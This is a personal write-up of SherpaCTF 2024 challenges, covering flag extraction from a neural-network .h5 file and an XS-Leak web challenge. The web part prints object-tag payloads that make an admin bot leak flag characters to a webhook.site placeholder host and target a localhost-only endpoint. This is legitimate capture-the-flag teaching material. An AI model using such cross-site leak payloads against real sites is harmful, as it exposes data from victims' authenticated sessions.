SherpaCTF 2024 Writeup
SherpaCTF 2024
was the only CTF that I had joined in 2024, and to my surprise, also my first 24 hours on-site CTF. Being a graduate had decreased the opportunity for me participate in physical CTFs, but finally Sherpasec had given me one CTF to play this year. The organizers of this CTF is the members from Sherpasec community, which consists of students, fresh graduates, and also seasoned experts. Aside from that, the challenge creators team are built from seasoned players that had mad experience, some are the challenge creators of wargames.my
, and some of them are crazy talented students, and every single one of them created challenges based on their expertise. It was one of the most challenging and fun CTF that I had joined!
This CTF had included an element from hackathons, in which after the CTF had ended, instead of submitting your writeup, you need to do a presentation of 2 challenges you solved of your choice. This is a different experience as compared to other CTFs, where you just cincai settle your writeup and just end up getting disqualified submit it.
Our team, M53_TeaBag
, had not only secured the Champion Title
for the Open category, but also the best creative presentation award
. We boys literally went from being the last team to set up our laptops for the CTF, to winning them breads :D
So here I go, sharing my writeup for the challenges I solved SherpaCTF2024.
AI: Deepfake
I’m not fond of AI but this challenge was created by my boy in X3 Security, and its a 24 hours CTF, so why not look into it.
This AI showcases its skill to detect fake ai images. Initially I have no idea on what to do or what it is. It took me awhile to look up for what a .h5 file is and what can we do with it.
Initially i found the challenge creator’s linkedin post regarding this blog.
Everyone including myself was trying to setup tensorflow
in order to run the AI. But my group member made me realized, if its the same tool that was posted about, there shouldn’t be much different, in which we don’t think there’s a way for the tool to output the flag.
Hence I start looking into how to view the datasets within the h5 file. I gpt-ed a lot. A LOT. But uh, since it’s company’s property, I just used temporary chat mode so that they don’t find out I spammed their premium answer giver.
So, the first step is look into what layers (weight) are within the h5 files. Hence, gpt giving me
Layers.py:
1 | # Open the .h5 file |
layers output:
1 | Keys in the file: |
From the script, basically it identifies the weights that are within the h5 files and returns it to the user. The next step of solving this challenge is to look into the data of the layers.
For this part of the challenge, i ran another script before, that almost crashed the terminal in my vm (printing out all data in all weights 🤤).
My initial solution = reveal everything + grep for flag.
So i’ll just give you the script that actually look into the layer that has the flag.
import.py:
1 | import h5py |
output:
1 | Dense layer path: model_weights/dense/dense/bias:0 |
So you think, hmm what did i just get? a bunch of decimal points, what to do?
The final step of this challenge is to convert the decimal points into ascii using numpy library. GPT POWERRRRR
round.py:
1 | import numpy as np |
Run script = Get flag:
So what I’ve learn:
Analyzing and understanding a h5 file = There are multiple layers/weights in a h5 file that stores data in decimals that actually the data sets. Flag is just where it can be hidden together with the data sets.
Flag: SHCTF24{Hidd3n_in_Th3_Lay3rs}
WEB: Oshawott As A Service (OAAS)
This challenge was created by the client side attack legend: ViceVirus a.k.a Firdaus. I know, you know, everyone knows this isn’t going to be just another CTF challenge as the name appears.
Like his interest, this will never be just another guessy black box challenge, source code was given with a Pokemon theme to entertain everyone.
The first look into the challenge index page is directly a form to be submitted. The part of source code is shown below:
1 | app.get('/', (req, res) => { |
He had implemented anti-xss mechanism with a function getSanitizeOptions()
within the comment form field. So let’s look into what is that
1 | const createDOMPurify = require('dompurify'); |
Now that is a headache…. Not a blacklist but a whitelist of the only tags and attribute that can be used. damn.
While at that, I was also looking up and kept on trying to exploit this challenge through XSS. It was not that, I’ve been trying to trigger alert() through all these tags and attribute, but really it just doesn’t make sense that any of these attribute would help with triggering it.
So tags and attribute what else can make this more complex?
1 | // Flag finder |
Wow this code looks like an 403 bypass challenge where u can just find a request header that can modify your header into localhost and go get the flag 😃 like from hacktricks:
SIKE: no, if its that easy this challenge would be rated easy from him already.
…..also that’s literally what i did for 2 hours, looking to bypass 403… so yea 🥴
After 5 hours of 0% progress, i took a break from this challenge and help the other members with their challenge.
So like 8pm - 10pm we went out to have some chill time, eat and talk shet.
After dinner time, the crew decided to drop some hint (XS Leak, a legendary web player.) So me wasted my time looking into wrong exploits for the challenge, I just messaged vicevirus cuz I know he just landed a few hours ago (shoutout to his team winning 3rd in ACS woohoo) but damn I know he would enjoy being here seeing me & Fedwig suffer with his challenge.
So yea, I followed the hints given and I suddenly remembered another legend, Zeyu that had given multiple speech and trainings regarding web attacks. So I look into XS Leak by Zeyu and I found a few resources that can help me understand the vulnerability more.
Note: Read the blog, its freaking interesting and useful, if you want a video version, here:* https://www.youtube.com/watch?v=SEVdfk0vTCM
So based on the explanations I kinda got everything I need. To explain abit, its basically injecting the tags and attribute not to achieve JavaScript injections, but to leak out data from forbidden pages, like in this case, using the form field to leak out the flag in /oshaoshaflagfinder.
BUT YOU KNOW WHAT, DO YOU KNOW WHAT? “you are veeeerrryyyy closeeee” HAPPENED. FOR. FOUR. HOURS.
Check this out:
1 | <object data="/oshaoshaflagfinder?flag=SHCTF24{"> |
So what this exploit does, is that when injected, the object will hold the data in /oshaoshaflagfinder. But since its 403, the nested-object will be held instead, meaning that a webhook session will be started.
Note: see the huge empty comment field? Thats where your
In the process of this challenge, after injecting the script, you report the page by sending the whole URL to the reporting page at “/osha-see” endpoint.
And when you do that, the bot will visit the affected endpoint, which triggers the first object as it holds the administrator cookie.
But how do you get the flag? Understand this:
1 | <object data="/oshaoshaflagfinder?flag=SHCTF24{"> |
The parameter and value: ?flag=xxxxx
plays important role in this.
As the bot is allowed to visit the page, when triggered with the correct part of the flag through the
?flag
parameter, then the nested object will not be triggered. So just a response 200
happening.
but if its the wrong value like ?flag=xxxxx
, then the nested line:
1 | <object data="https://webhook.site/your_webhook_here?flag=SHCTF24{"></object> |
will be triggered due to a response 404
, starting a webhook connection.
It’s basically like a whole error-based character leak happening here.
YES I GET THE LOGIC, BUT YOU KNOW WHAT, I FORGOT ABOUT THE “ONLY LOCALHOST” PART OF THE CHALLENGE……
so yea, you need to add the localhost
and environment port
(not the remote port) on the payload together….
Why? Remember the “I thought its bypass 403” part?
1 | // Flag finder |
That means that u still need to bypass 403 but through the injection point, not the security header.
As for the why use environment port not remote port, the getSanitizeOptions()
function is within the sanitizeMdleware.js
file, in which if you check the app.js
file, there’s actually a part where it mentions that the middleware runs on port 5577.
1 | // ---------- MIDDLEWARES ---------- |
So instead of allowing the code to automatically run through the remote address and port, you need to specify the local IP
and environment port
.
Final payload:
1 | <object data="http://127.0.0.1:5577/oshaoshaflagfinder?flag=SHCTF24{"> |
So yea….there’s another 4 hours….
Back to the challenge, how do you know the characters of the flag?
This part of the challenge description is important.
So you visit the folder, and you can see the name.png
is all part of the characters possible for the flag.
So, brute for !_{}24ABCDEFGHIJKLMNOPQRSTUVWXYZ
- Inject the payload at index.
- It will redirect you to the comment endpoint. After triggering the payload like this:
- You take the affected URL from above and go report it in
/osha-see
- Check webhook for connection, if
got connection = wrong character
,no connection = correct character
.
- REPEAT THE PROCESS UNTIL YOU GET THE FLAG.
Ok so my scripting skills is not good, I do this manually. But after the CTF, our buddy, mr.vicevirus had given the script to solve
the challenge.
Note: solution script requires your setup of ngrok and is written in flask.
1 | # This solver script is used to solve the "Oshawott As A Service" challenge, using object tag leak to find the flag character by character. |
Flag: SHCTF24{LEEK!}
What I learned: A new vulnerability, XS Leak, understanding what is object leak and how it works. Also beat a new record for hours per challenge…(18 now).
Conclusion
SherpaCTF 2024 was really fun. Staying up all night with my bros, chill with other participants, meet and greet with all the legends. I met new people, compete with them, die trying to get the first blood for web, and also proudly presented the challenge solved in front of everyone. This is one of the greater experience I get as a CTF player in Malaysia.
SherpaCTF 2024 Writeup